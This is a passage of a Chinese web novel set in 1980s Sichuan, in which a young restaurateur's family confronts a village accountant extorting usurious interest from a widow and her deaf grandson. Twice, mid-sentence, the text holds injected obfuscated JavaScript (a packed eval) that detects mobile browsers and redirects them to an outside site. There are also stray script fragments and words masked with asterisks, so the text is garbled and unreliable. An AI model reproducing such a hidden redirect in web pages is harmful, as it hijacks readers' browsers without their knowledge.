合起笔记本，黄琛提杯道：“你这建议相当专业和有建设性，乘着你们《四川烹饪》杂志的东风，明天开会我就把这件事提交讨论，看看我们还能做些什么。” …… “周砚，我觉得跷脚牛肉可以加个二三十碗，天气慢慢冷下来，吃跷脚牛肉的客人越来越多了，一百二十碗有点不够卖，中午就能卖掉**十碗，晚上很多客人想点吃不到。”赵嬢嬢走到柜台边，看着正在记账的周砚说道。 周砚抬头道：“要得，那明天先加二十碗，如果后面点的客人增加，再继续加。” “最近来吃跷脚牛肉的客人，除了厂里的工人，我看还有一些是镇上的老师和政府的工作人员。”赵嬢嬢笑容满面：“我看我们饭店的口碑也是越做越好了！” “那是，有你和老汉坐镇门口、大厅，客人的体验感是拉满了的，都是笑着出门去的。”周砚笑着说道。 “我切个肉顶多有点苦劳，都是**功劳。”倒了洗脚水进门来的老周同志笑着接过话头。 “啧啧，你们父子俩是越来越会说话了。”赵嬢嬢嘴角上扬，心情那叫一个美。 “我呢？我呢！”周沫沫举起小手，满脸期待的看着周砚，小脸上写满了‘快夸我！快夸我！’ “周沫沫小朋友，最佳销冠！”周砚给她竖了个大拇指，从钱箱里抽出一毛钱：“来，这是今天的奖金，有请销冠领奖。” “天呐！又是一毛钱！”周沫沫眼睛都亮了，两只小手捧着递向周砚。 周砚表情庄重的把钱放到了她的手上，勉励道：“周沫沫小朋友，请再接再厉，再创辉煌。” “嗯嗯。”周沫沫收了钱，跑过来一把抱住了周砚的大腿，笑容格外灿烂：“锅锅，我爱你！” “乖。”周砚笑着摸了摸她的脑袋，小小一只软糖，抱着你的腿说爱你，谁的心不化啊。 赵嬢嬢和老周同志站在一旁，脸上也带着盈盈笑意。 “好了，去睡觉觉，让你锅锅早点把账记好休息。”赵嬢嬢过来把周沫沫抱起。 “锅锅，晚安。”周沫沫冲着周砚摆了摆手，扭头环住了赵嬢嬢的脖子，在她耳边奶声奶气道：“妈妈，我有好多好多钱钱哦，以后我给你买一个金项链好不好？就像方方妈妈戴的那条一样。” “哎哟，我幺女这么有孝心的？妈妈好开心哦。”赵嬢嬢笑得合不拢嘴。 “那你明天早上还给我做鸡蛋饼嘛，多放一点点糖。”小家伙说道。 “要得，晚上我吃你画的大饼，明天我也给你煎个鸡蛋饼嘛。”赵孃孃抱着周沫沫上楼去了。 “账记完杀两盘不？”老周同志拿出他的手搓棋盘，看着周砚问道。 “来嘛，哪个怕哪个！”周砚把最后一卷钱丢进箱子，合上账本。 两个臭棋篓厮杀三局，第三局以周砚一步险胜，二比一拿下。 “不对不对，我走错了，我不走这里。” “老汉，落棋无悔真君子哈！” “莫要得意，棋差一着，明天晚上重新来过！”老周同志收了棋，一脸懊悔地上楼去了。 周砚心情大好，从柜子里取出信纸，拿起钢笔给夏瑶写了封信，和她分享了上《四川烹饪》杂志的事，以及近来生活中发生的一些趣事。 洋洋洒洒又是三页纸，在落款处写上自己的名字，周砚才发觉自己的嘴角因为上扬太久有点发酸。 果然，和人分享开心的事情，自己也是会感受到快乐的。 今天采访老太太还挺顺利，何志远很满意，见刊的概率应该挺大的，达成他的预期。 让张淑芬同志在卤味界留名，就是他的目的。 张记卤味要是能出名，对他也是有好处的，他不就是正经的张记卤味传承人嘛。 何志远要去采访孙姨婆的事，周砚觉得挺好，所以给他们写了张纸条。 姨婆也做了大半辈子豆腐，要是能跟着老太太一起登上杂志，哪怕只是一小段，那也算是留下痕迹嘛。 他都想好，明天中午忙完就去一趟上水村，带上姨婆去看看眼睛和腿。 来福怪可怜的，要是姨婆能多陪他几年，等他有了独立生活的能力，情况会好很多。 …… 夜里，老周同志翻了个身，嘀咕道：“我这步要是那样走呢？是不是就赢了……” …… 第二天清早，石板桥头。 何志远带着小李赶场，这是他到一个地方后非常喜欢去做的事情。 在每一个地方的早市里，能够感受到当地最纯粹真实的烟火气。 商贩的叫卖声，顾客与摊贩砍价交锋的感觉，还有一些当地特有的食物，一起构建成了有趣的早晨。 “看看哪里有豆腐摊，周砚的表弟，年纪应该不大。”何志远左右瞧着，和小李说道。 “无声豆腐摊，为啥要取这个名字呢？”小李左右瞅着，不解道。 “估计是周砚给他取的，名字越怪，越是容易吸引顾客嘛，也是一种营销手段。”何志远笑着说道。 他计划下午返回蓉城，还要先去嘉州转车，所以何志远一早就带着小李来了石板桥头，打算采访完周砚的姨婆就走。 走过两个豆腐摊，一个是大爷坐镇，一个摊主是妇女，都不符合。 “主编！你看那招牌。”小李突然指着前边立着的一块红色招牌说道。 何志远顺着手指的方向看去，一个小豆腐摊前立着一块醒目的招牌。 红色笔墨写着：西坝豆腐！2角一斤！ 下边用黄色油漆写着：无声豆腐摊。 这笔迹，何志远一眼就能认出是周砚写的。 “就是那了，咱们过去瞧瞧。”何志远招呼了一身，往前走去。 两人走近之后发现，小桌后边坐着一个少年，约摸十五六岁，相貌清秀，但特别瘦，身上的中山装明显大了一号，空荡荡的，跟挂在细竹枝上一般。 有个烫着卷发的嬢嬢把剩下的三块豆腐都要了，递了六毛钱给他，温声道：“早点收嘛，过两天我又来买。” 少年左手拿着钱，伸出右手大拇指弯曲两下，笑容干净。 何志远和小李看着这一幕，又看了眼招牌下方的黑色小字，都沉默了。 “我真该死……”何志远低声道。 “您……您也没想到会是这样。”小李宽慰道。 时髦嬢嬢提着豆腐走了，摊位前就剩下何志远和小李。 少年正准备收拾东西，看到两人还站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200291|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着，笑着指了指空荡荡的桌子。 “我们……”何志远开口，想到少年是聋哑人，又连忙把周砚给他写的纸条拿了出来，递给少年。 昨天他还有点疑惑，周砚的纸条为什么要写的那么详细，就跟介绍信一样，把他们的身份和目的都写在了纸上。 现在他明白了，这是担心眼前这个叫来福的少年和他们之间有沟通障碍，提前把事情说明白。 来福接过纸看了一会，笑着点点头，伸手从中山装胸前的口袋里摸出一根指头长的铅笔头，在纸的背面写了一行字：早上周砚哥哥跟我说了，你们要跟我回家吗？ 少年的字写的很清秀。 何志远接过小李手里的纸笔，写道：“方便吗？” 来福笑着点头，又写道：“就是有点远，要走半个小时。” 何志远写道：“没问题。” “好，请等我收拾一下东西。”来福笑着写下一行字，然后开始弯腰收拾东西。 小桌子折叠起来，和豆腐格子一起塞进背篼，招牌用绳子绑在背篼上，然后背在身上。 大大的背篼，背在少年瘦弱的肩上，显得又大了几分。 来福冲着两人笑了笑，招了招手，走在前边。 何志远和小李跟上，心头突然就有点不是滋味。 走到桥头，何志远看了眼一旁的肉摊，和小李说道：“你跟他慢点走，我割斤肉，不打空手上门。” “好的，主编，我让他慢点。”小李点头。 何志远割了一斤多五花肉，一回头，发现来福和小李就在一旁大树下等着，笑容中透着几分拘谨和纯真。 “算了算了，把剩下那块也拿了嘛。”何志远回过头来说道。 “两斤六两，算两块五嘛。”章老三把肉用稻草拴上递给何志远，看了眼一旁站着的来福，好奇道：“你是那个卖豆腐的娃娃的亲戚？” “不算亲戚，算……”何志远掏钱递过去，顿了顿，“算刚认识的朋友吧，去他家耍，不好打空手去。” “那你这个朋友还是讲究，提这么多肉去。”章老三笑着说道。 何志远笑着点头，提着肉向着小李他们走去。 三人走了半个小时，终于来到了那座破房子外。 塌了一半的破房子，用油布勉强遮盖着，空气中满是豆浆的香味。 何志远和小李站在院门外，眼里都难掩惊讶。 来福上前推开门，在门里冲着两人招手。 何志远跟着进门，满院的竹竿上挂满了金色的腐竹，随着秋风微微摇摆，犹如一面面金黄的旗帜。 而在院子正中间，烧着三口炉，铁锅里煮着豆浆，一个双眼红肿，头发花白的老太太坐在板凳上，手里拿着一根小棍，在锅里轻轻一挑再一卷，一张豆浆皮就被揭了下来，然后小心挂在身旁的竹竿上。 老太太的眼睛又红又肿，蜷着的右腿看着似乎也不太方便，身上的衣服满是补丁，却洗的干干净净，手指甲也是修剪的整整齐齐。 听到动静，老太太虚着眼睛向门口看来，犹豫着道：“来福，他们是谁啊？” 来福把背篼放下，到老太太跟前一通比划。 何志远开口道：“老太太，我叫何志远，是《四川烹饪》杂志社的副主编，这是我的助理小李。” “杂志社是啥子地方？”老太太疑惑道。 “我们是周砚的朋友，昨天采访了张淑芬老太太，在周砚的饭店吃了你做的豆腐干和腐竹，觉得太正宗了，我就想来采访一下你。”何志远解释道。 “芬姐和周砚的朋友啊，进来坐嘛。”孙老太闻言脸上露出了笑容，扶着椅子颤巍巍站了起来，“堂屋里面坐，我给你们泡茶。” 何志远看着老太太跛着脚，连忙上前两步道：“不用不用，你这里还烧着豆浆嘛，你先忙，我们不用喝茶，就在院子里边干活边聊。” 孙老太闻言便又坐下了，用小棍把旁边那锅的豆皮揭下，一边说道：“要得，那我把这三锅豆浆做完，一会再生火也确实不太好弄。” “我们从蓉城过来，也没做准备，刚在镇上给你们割了点肉。”何志远把手里的肉递向来福。 来福没接，看向了孙老太。 “要不得，要不得，你们上门是客，啷个还割肉呢。”孙老太急的又站起身来，连连摆手。 何志远笑着说道：“没有空手上门的道理噻，我们的一点心意，我们和周砚是朋友，你就是我们长辈，应该的。” 孙老太眼里泛起了泪花，轻叹了口气：“又让你们破费了。” 她手上比划了几下，让来福把肉接了，送进厨房。 来福搬了两张竹椅来让他们俩坐下，不一会又泡了两杯茶出来，帮着揭腐竹，挂竹竿。 “你这幺孙太懂事了，虽然不会说话，但眼里全是活，又懂礼貌。”何志远感慨道。 “没办法，穷人家的孩子早当家，这娃儿命苦，生在我们这种穷苦人家。”孙老太看着一旁忙碌的来福，脸上露出了几分心疼。 何志远沉默了一会，转了个话题道：“老太太，我听周砚说你是西坝镇嫁过来的，你做豆腐的手艺真好啊，我还以为周砚的豆腐干和腐竹是从西坝那边进的货，味道太正宗了，你这手艺是跟谁学的啊？” 老太太回过头来，带着几分笑容道：“我家在西坝镇上，十九岁的时候嫁到苏稽，我做豆腐的手艺是家传的，我们家世代做豆腐……” 小李已经把笔记本搁在腿上，刷刷写了起来。 …… 中午营业结束，周砚提了一包猪头肉放在车篮里，兜里揣了两卷钱正准备出门，便瞧见饭店门口进来俩人。 “奶奶？”周砚有些意外的看着当先的老太太，又看了眼她身后跟着的老头。 老头看着七十多岁，穿着灰色中山装，头发掉的差不多了，剩下一小撮白发还特意留长，倔强的在头顶盘了一圈，仿佛圈下的地盘还能重新长出头发来。 相比之下，胡须倒是茂盛不少，颌下蓄着银白的长须，倒也有了几分仙风道骨的感觉。 “你要出门吗？”老太太看着推着车的周砚问道。 “我打算去看看姨婆，准备带她去卫生所或者厂办医院看下眼睛和腿。”周砚说道。 老太太闻言笑了，说道：“那刚好，我也准备带大头去看丽华，你老汉儿呢？喊他也骑辆车把我们一起搭过去。” “奶奶，这位老先生是哪位？”周砚看着旁边那老头问道。 “三姐，小辈面前你也给我点面子嘛。”老头抢着开口，看着周砚笑道：“周砚是吧？我叫张正平，算起来你应该喊我舅公，今天早上来周村看望三姐，吃了午饭就被她喊来要去给你姨婆去看病。 老了老了，走不动了，只能来麻烦你们这些年轻人载一段路。” 今天没有加更   (本章完) 第172章 退休的老中医还真是快乐无边啊（62 第172章退休的老中医还真是快乐无边啊（6.2k二合一） 周砚闻言连忙把车停好，上前恭敬道：“舅公，你好你好，我都没认出你来。” “认不到也正常，你上回见我才**岁，我现在在街上看到你也不敢认。”张正平笑着道：“跟我年轻时候一样英俊，半个医院的护士都喜欢我。” 周砚微微一愣，这舅公说话有点意思啊。 “三十岁开始谢顶之后，就没了。”老太太补了一刀。 张正平老脸一红，连忙找补：“那是我娶了你舅婆之后，洁身自好，拒绝诱惑，和头发没得关系哈。” “这点倒是真的，在他们医院，怕老婆也是出了名的。”老太太点头。 “那没办法啊，你舅婆是断掌，**痛得很，门把手都被她拧断过，谁看了不害怕啊。”张正平一脸理所当然，浑然不觉丢人。 周砚听得一愣一愣的，老辈子摆龙门阵的节奏，让他都有点跟不上。 不过，看样子这位舅公还是退休医生。 性格倒是真不错，开得起玩笑，有四川老辈子的幽默与豁达。 老太太心里始终惦记着她的丽华表妹啊，吃了饭就拉着舅公去给姨婆看病。 “舅舅！你啷个来了？”周淼闻声从厨房出来，一脸惊讶的快步上前来。 “来看我三姐噻。”张正平笑着拍了拍周淼的肩膀道：“三水，我们也有几年没见了嘛。” “是有三年多了，您和舅娘身体怎么样？”周淼关切问道。 “我还可以，你舅娘半年前摔了一跤，现在出门都拄拐杖，还要再修养一段时间。”张正平带着几分得意道：“她现在想打我都撵不上了。” 众人闻言都笑了。 周砚看着这小老头，还真是有点欠收拾的皮。 赵铁英和赵红也出来打了招呼，给老太太和老爷子倒了碗水。 “还是铁英和赵红有眼力见，晓得我们走的口干舌燥。”放下碗，张正平笑着说道。 众人闲聊了几句，老太太开口道：“回头再聊，先去看丽华。” “要得，我把背篼拆了。”周淼答应了一声，把自行车推出门。 周砚载着张正平，摆了一路龙门阵，好奇问道：“舅公，你退休前是啥子医生？” “赤脚医生噻。”张正平应道。 “啊？” “骗你的，是中医。”张正平爽朗的笑声响起。 周砚想挠头，可手都扶着把手。 这退休的老中医还真是快乐无边啊。 张正平笑呵呵道：“你还是可以哦，才二十岁就开了这么大个饭店，还把三姐做卤味的手艺都继承了，晚上我要在你店里吃饭，尝尝你的手艺，要的不？” “那肯定要得噻，晚上舅公想吃啥我就给你整啥，只要是菜单上有的，包你吃的满意。”周砚笑着说道。 这位舅公是老太太的堂弟，老太太的两位亲哥哥已经去世多年，堂兄弟里边，这位是少数时常会来往的。 当然，这种时常也是按年来算的。 一年能往来一回，那就算往来密切的了，这年代交通不便，老人出行可不便利。 “要得，不过我点啥子我是要结账的哈。”张正平笑吟吟道。 “那要不得！就算我奶奶不滔我，也要遭我妈老汉日决。”周砚笑着道：“我开起饭店的，舅公你就放心吃，吃不垮。” “你娃娃懂不起，我上班的时候工资你舅婆管，退休了工资各管各的，根本花不完。”张正平悠悠道，话头一转：“你这个姨婆，小时候她来牛华找三姐他们耍，我见过几回，瘦瘦小小一个，性格软，又懂礼貌，大家都很喜欢她，都喊她表妹。这一晃，我少说也有四五十年没见过她了。” 一路闲聊，十几分钟后，自行车转入村道，一路颠簸着来到了那处破烂坍塌的土夯房院外。 “哎哟，这房子塌了都没有修补一下吗？”张正平从车上下来，看着那垮塌了一半的房子，带着几分唏嘘道。 “怎么塌的那么凶？去年老表走的时候，还没有塌的吗？”周淼也是一脸意外。 周砚把车停下，便听到一阵争吵声从虚掩着的院门里传了出来： “二嬢，今天这鹅和鸡，还有两袋黄豆我肯定是要拖走的，就当今年的利息了。我听说来福这段时间豆腐卖的不错嘛，你们手头有好多钱了嘛？全部拿来，把我本金先还上一些噻。”一道中气十足的声音响起。 “长贵啊，要不得，这黄豆我还要拿来做豆腐的，你拖走了我们啷个做豆腐呢？我和来福就指着这两袋豆子过冬了，你拖走了就是要我们的命啊。”孙老太带着哭腔的声音响起。 “二嬢，立伟和巧倩借了我的钱，转头人就没了，这一年我们家日子也是过得紧巴巴的，屋头天天干架，没一天安生。欠债还钱，天经地义噻？”男人的声音提高了几分，语气中带着几分狠戾。 “立伟借的钱，我死前一定帮他全部还上。但是长贵啊，立伟从你这里借的五百块钱，去年你把驴拉走说抵账，后来又抓了两只鸡和一只鹅，啷个还是五百呢？你是村里的会计，这账不是这样算的吧？”孙老太有些激动道。 男人嗤笑道：“你懂啥子，立伟给我借钱的时候，白纸黑字写的明明白白，月息五分，五百块钱一年的利息就是三百块钱。那头老驴卖了三百块钱，刚好够去年的利息，鸡和鹅还有这些东西，就当今年的利息，那不就还剩五百？” “这账……这账不能这么算啊……”孙老太哽咽道。 “你这账算的不太对吧，驴是抵本金的，哪能等到年底再拿来抵利息呢？”何志远的声音响起。 “你哪个？有你说话的份吗？这是我们自己家的事，这里是上水村，你个外乡人有好远滚好远，东说西说，老子喊人了哈！到时候你怕是跑不脱。”男人厉声喝道。 “你……你简直不可理喻！”何志远声音气得发颤。 门口四人，听得热血上涌。 “妈卖批！当丽华娘家没人，欺负上门了是吧！”张正平操起一旁靠在门上的竹竿，当先冲进门去。 “龟儿子！孤儿寡母还要遭你们欺负不成！丽华莫要怕，娘家人来了！”老太太从地上捡了块砖头，跟着冲进门去。 周淼把自行车往墙上一靠，紧跟着进门。 周砚看得一愣一愣的，也是连忙跟上。 满院的竹竿上挂满了腐竹。 一个矮胖中年男人提着两个**袋，身旁的斗鸡眼中年女人手里抓着一只鸡和一只鹅。 孙老太坐在地上，泪流满面。 来福护在她身前，红着眼睛看着那对夫妇。 张正平握着竹竿，后边跟着抓着板砖的张老太，气势汹汹地冲进门，倒是把那顾长贵夫妇俩吓了一跳。 孙丽华闻声也是抬起头来，虚着眼睛看着门口的方向，声音微微颤：“芬芬姐？那个是……正平表哥？” “对，丽华你不要怕，娘家人给你撑腰。”张淑芬说道。 “没错，今天他们啥子都拿不走。”张正平把竹竿一横，挡住去路。 孙老太的娘家人？ 顾长贵打量着那老头和老太，又是轻蔑的笑了：“啥子娘家人，两个半截埋土里的老东西，要啷个嘛？欠债还钱不是天经地义的事情，搞快让开！不然一会摔了、碰了莫要赖我！” “我看谁敢动我老娘。”周淼走进门，撩起衣摆，露出了腰间的剔骨刀，目光冰冷的盯住了顾长贵。 顾长贵脸上的笑容僵住，一股寒意从尾椎骨一直攀升到了颅顶，仿若被猛兽盯住了一般。 周老四！ 顾长贵眼底有了几分忌惮。 周村杀牛匠在苏稽名气颇盛，而其中的佼佼者便是周家老四，周淼。 去年他们村集体的牛就是找周老四杀的，他作为会计自然在场。 别在他腰上的那把剔骨刀，让顾长贵印象深刻，刀很快，周老四的手又快又稳，一头牛骨肉分离要不了多少功夫。 村里上过战场的老头看完说了一句，这种人**用不着第二刀。 又准又狠。 所以，当周老四亮出腰间剔骨刀的时候，顾长贵手里拎着的两麻袋黄豆啪的掉到了地上，下意识后退了半步。 周砚跟着进门，刚好看到了这一幕，不禁惊讶于老周同志的威慑力。 站在一旁的何志远和小李一脸愤慨，但他们确实没啥立场参与这事，有些无奈地看向周砚。 顾长贵怂了，不敢再放狠话，声音都小了几分：“我也不跟你们东扯西扯，立伟是我本家兄弟，我是信任他才把钱借给他的。现在他人没了，这钱还是要还嘛？我只是来拿利息，你们要啷个嘛？你们就算是孙老太的娘家人，也要讲道理噻！” “龟儿子，你嘞脸皮比城墙倒拐还厚，火炮儿都打不穿！”张正平指着他劈头盖脸骂道：“立伟去世，留下身体不好的老娘和聋哑的儿子，你这当兄弟的不帮扶就算了，还趁火**把人家拉磨的驴牵去卖，把人家家里的鸡鸭鹅抢走，简直跟小鬼子一个德行！” “你……你莫要乱说啊！我还是多照顾他们的。”顾长贵老脸一红。 “你睁起眼睛扯把子，信不信老子给你两秤砣，顺手再给你一锭子，再给你一耳屎把你铲到墙上，扣都扣不下来。”张正平怒道。 “老头，你说话注意点哈！”顾长贵气得握拳。 “我就这样说，你打我噻。”张正平向前一步，看着顾长贵嘲讽道：“你动我一下试试嘛，你敢动手，老子就敢往地上躺。我当了五十年中医，啷个说病情要花最多的钱，上最重的刑，老子一清二楚，你要不要试看嘛？” 顾长贵的拳头捏了又放，气得头顶生烟，愣是不敢动手。 流氓不可怕，就怕流氓有文化！ “你这宝批龙，夜明珠蘸酱油——宝得有盐有味。”张淑芬接着道，“立伟走的时候是六月，他借你钱不超过三个月，一头驴少说也是三百多块钱，鸡鸭鹅加起来又是十多二十块，本钱就剩下一百八十块钱左右。 一个月五分的利息，也是你当兄弟开的出口的？今天我就把话在这里跟你说明白了，这**我们不认，把你本钱还清这事就算两清。” 周砚在旁听得一愣一愣的，老辈子的战斗力还是强悍。 “那不行！我有欠条的！白纸黑字写的明明白白！而且还有立伟画的押！”顾长贵急了。 “就是！你们说了不算！”顾长贵的婆娘吴红霞跟着说道。 张正平和张淑芬闻言眉头一皱，倒是有点难住了。 周砚见此上前一步，开口道：“顾长贵，你这月息五分的借条，要不要拿到派出所和**去验一验啊？ 国家有规定，借贷利息不得大幅高于银行利率，你一年百分之六十的利息，我看拿到哪个**敢支持你要这个利息！ 你是上水村的会计，也算是半个公职人员，走嘛，我们现在就去镇上**道！看看你这五百块钱的本金成分如何，派出所到底会不会支持你这个放**的法外狂徒！ 还有哈，你们夫妇俩今天强闯我姨婆家，强抢两袋黄豆和一只鸡、一只鹅，这叫啥子？****！ 严打你晓得噻？**可是重罪！而且**对象还是一个残疾的老人和一个聋哑的娃娃，罪加一等。 到时候不光你这个会计当不成，你们夫妻俩还要等着吃枪子！” 听到吃枪子，吴红霞手里的鸡和鹅抓不住了，手一抖，掉到地上，满院子乱窜。 顾长贵的脸上，也是第一次露出了恐惧之色。 他高中毕业，有些文化才能当上会计。 周砚这番话听着实在吓人，仔细一琢磨，还挺在理。 要是当真给他们算成**罪，按照现在严打的行情，怕是真的要吃枪子！ 一旁站着这何志远掏出相机，开口道：“**证据我已经拍下来，有需要的话，随时可以洗出来交给派出所。” 顾长贵和吴红霞看着何志远手里泛着光的相机，脸色又苍白了几分。 “怕了啊？我看你们夫妻两个，就是茅厕头打电筒——找死！”张淑芬冷笑道。 顾长贵脸上堆起几分笑容：“误会，误会啊，大家都是沾亲带故的亲戚，哪里需要闹到派出所和镇上嘛，有啥子事情都是可以商量的。” 张正平说道：“没得商量的，把借条拿出来，今天我们就要把这烂账给丽华销了。” “借条我也没带在身上，我们回去拿嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“认！我认。”顾长贵连连点头，他本来都不打算要剩下的钱了，要是能把剩下的一百八要回来，至少不亏。 “丽华，你觉得如何？”张淑芬看向孙老太，温声问道。 “全听芬芬姐你的。”孙丽华点头，伸手在怀里掏了掏，摸出了一个布包，打开里边是一叠折的整整齐齐的纸币，有一张大团结，其他多是角角钱，一股脑递向张淑芬：“这里有四十八块二毛七分钱，芬芬姐，你帮我还给他，剩下的我慢慢还他。” 张淑芬伸手准备接钱。 周砚抢了一步，把钱接过，重新塞回到钱袋里，笑着开口道：“姨婆，这一百八十块钱我先帮你垫着，你的钱留着买豆子和生活开销，后边来福送来的豆腐干和腐竹我就直接划账，除完一百八十块为止，你看要的不？” 孙老太抬头看着周砚，眼泪止不住地流，颤声道：“你也要用钱的嘛，这不得行……” 张正平和张淑芬看着这一幕，脸上皆是露出了欣慰的笑。 “我的钱不急用，你们天天要送豆腐干和腐竹来，跑不脱，我放心得很。”周砚笑着道：“那这事就这么定了。” 说完，他从口袋里摸出一把钱来，抽走两张大团结，递给他奶奶，“奶奶，这里是一百八十块钱，你先帮忙点一道。” “要得。”张淑芬接过钱数了起来。 顾长贵和吴红霞盯着张淑芬手里的钱，眼睛都亮了起来。 周砚又取出纸笔来，刷刷写了一份收条。 何志远和张正平凑了过来，给他指点了几处规范，草拟完又重新工整抄写了一遍。 “一百八十块，你当面点清，有啥问题当面说清楚，只要走出这个门，钱的数目和真假就不归我们负责。”张淑芬把数好的钱递给顾长贵夫妇说道。 顾长贵接过钱，认真清点了两遍，又把几张大团结拿出来看了又看，这才点头：“一百八十块，没得错。” “来，这是收条，你签字画押，我把借条烧了，这比债务就算彻底结清。”周砚递过收条和钢笔。 小李从包里取出一盒印泥打开递了过来。 顾长贵看着这收条，心有不甘，拿着钢笔迟迟不下笔。 周淼抬手按在了顾长贵的肩上，沉声道：“账结清，这事就算翻篇。要是以后你们上水村有人敢欺负我姨妈和来福，我不找别个，只找你顾长贵。” 顾长贵的喉咙滚动了一下，冷汗顿时涔涔往外冒，周淼跨上的刀把抵着他的腰，竟是泛着冰冷的寒意。 “签！我马上签！”顾长贵颤声道，手颤抖着在收条上签下自己的名字，按下大拇指。 “收条：今收到孙丽华归还的现金500元（伍佰元整），借条已销毁，债务两清。此据！收款人：顾长贵，1984年11月15日”周砚把收条内容念了一遍，看着顾长贵道：“记住，债务两清。” “记住了，记住了……”顾长贵点头如捣蒜。 这一家子，从老到小，没一个善茬啊！ 呲！ 张正平掏出火柴引燃，将借条烧成了飞灰，把指尖的灰烬弹走，看着顾长贵意味深长道：“你是村里的会计，上有老下有小，生活幸福美满。但来福就一个奶奶了，他听不见，但心里跟明镜一样，晓得你做了啥子事。 他知道你住哪，家里几口人，有哪些亲戚和朋友。 我在医院待了五十年，见过太多把老实人逼上绝路，最后满门被灭的案子。你不要觉得你当个会计有啥子了不起，中国人从古至今，从来不缺舍得一身剐敢把皇帝拉下马的气魄。” 顾长贵看了眼扶着孙老太的来福，眼里多了一丝恐惧，拉着脸色煞白的吴红霞快步离去。 “舅公，还是你说话有水平。”周砚冲着张正平竖了个大拇指。 幸福者退让原则是最大的阳谋，且无解。 胜过其他的一切道理。 周砚眼底弹出一道消息： 【支线任务：西坝豆腐传承守卫战！进度：75%】 晚上会有加更~求月票！   (本章完) 第173章 【麻婆豆腐】到手！（月票加更1033 周砚眉梢一挑，这进度条跳涨了25%啊！ 来自娘家的强力撑腰，看来给孙老太带来了强烈的信心和安慰。 院子里每个人的脸上都露出了笑容，仿佛刚刚打赢了一场胜仗。 当然，事实也是如此。 “三姐，你看我刚刚拿棍子拦住他的样子，英武不？”张正平带着几分得意道。 “硬是有几分年轻时候的样子。”张淑芬笑着点头。 “不开玩笑的说，当年我也当过军医，肯定不得拉稀摆带。”张正平听完愈发得意，看着孙丽华道：“丽华，你还是歪的嘛，晓得把钱藏好不给那龟孙。” “这钱是留着过冬的。”孙丽华感慨道：“今天要不是芬芬姐和正平表哥来，我都不晓得怎么办好。” 三个老辈子已经聊的火热，脸上笑容灿烂。 “你们这一家子，真是战斗力彪炳，碰上那种无赖，我今天竟是有了几分无力感。”何志远忍不住称赞道。 小李深以为然的点头。 “何主编，你们这叫秀才遇上兵，有理说不清，这种人就要我们这些弯脚杆才制得住。”周砚笑道，看着二人：“你们不是说中午就要上去吗？怎么还在上水村。” “我们跟着来福回来采访，孙老太硬是要留我们吃午饭，结果饭碗刚放下，那两个瘟丧就来了，我们又不放心孙老太和来福，正劝着呢，还好你们来了。”何志远带着几分无奈道：“我们就是没得立场，不然以我的脾气，早就动手了。” “看得我都想动手。”小李也是攥着拳头说道。 周砚看着文质彬彬的小李，连他都气不过想**，可见这顾长贵夫妇俩有多可恶。 “还是要谢谢你们仗义执言。”周砚笑着说道，看了眼表，“那你们今天还要回蓉城不？这个点去嘉州，怕是不一定有车了吧？” “今天回不去蓉城了，等会先回嘉州，我再去找你师叔祖补充点资料，顺便蹭顿饭。”何志远也看了眼手表，笑着说道：“那这边就交给你了，我们直接去外面路上等班车。” “我送你们出去。”周砚点头。 何志远和孙老太、来福还有张老太打了招呼，带着小李离开。 周砚走路把他们送到了大路上，等了十几分钟便瞧见一辆班车摇摇晃晃驶来，扬起漫天灰尘。 何志远招手让班车停下，看着周砚说道：“周砚，再见，你要是来蓉城，就来杂志社找我耍。” “要得，回见。”周砚笑着挥手，目送二人登上班车离去。 等周砚回到小院，孙老太坐在椅子上，右腿膝关节处已经扎了五根银针。 张正平站着，一旁的凳子上展开一个布包，里边是一排排银针。 “丽华，你这是膝关节炎，应该是之前受过伤，又经常着凉导致的。”张正平看着她说道：“这毛病我都有，人老了都会这样，膝关节退化，活动能力一点一点变差，我给你针灸能缓解一些症状，但也根治不了。” “正平哥，没得事，去年立伟带我去看，医生也是这样说的，现在还有一条腿能动就不错了。”孙老太洒脱地笑道。 “话也不是这么说，治不好，但是我们可以减缓它变坏的速度。”张正平神情认真道：“比如蹲下站起、爬楼梯、爬坡这些负重的活路就不要干了，你负责指挥年轻人干就行。平时膝关节要注意保暖，在两边膝盖里头多缝一块布嘛，晚上睡觉前用热毛巾热敷一下，也可以缓解疼痛。” 周砚在旁拿着笔刷刷记录，然后撕下递给站在一旁满眼担忧的来福。 来福认真看完，冲着周砚笑着点了点头。 这孩子懂事，周砚把医嘱交给他，他肯定能把姨婆照顾好。 “舅公，姨婆这眼睛，你能看不？”周砚问道。 “你把纸笔给我。”张正平伸手道。 周砚连忙递上。 张正平刷刷开了个处方，下边还签上了自己的名字，然后递给周砚：“周砚，你跑一趟卫生所或者厂医院，两样药，一盒眼药水，一盒消炎药，给我买回来，我教你姨婆怎么用。” 周砚接过笔记本，表情略有古怪道：“舅公，你不是老中医吗？怎么开西药？” “这叫中西医结合。”张正平爽朗笑道：“开中药倒也能调理，但少说半个月起步，眼睛可拖延不得，丽华这眼睛炎症有点严重，时间拖太长了，再拖一段时间，怕是要瞎。” “要得，我马上就去！”周砚揣好笔记本快步出门，骑上自行车就走了。 “这娃娃会说话又会办事，喊得动，比我那几个孙子强太多了。”张正平一脸感慨道：“主要是，跟我年轻时候长得一样英俊，不晓得以后便宜了哪个歪婆娘。” “要不是周砚，我和来福都不晓得怎么活下去了。”孙丽华也是一脸感激。 “来福只要把你的手艺学会，做豆腐虽然辛苦，但日子肯定过得不差。”张淑芬抓着她的手轻轻拍了拍，温声道：“你把眼睛治好，把腿保养好，往前看，以后好日子还长着呢。” 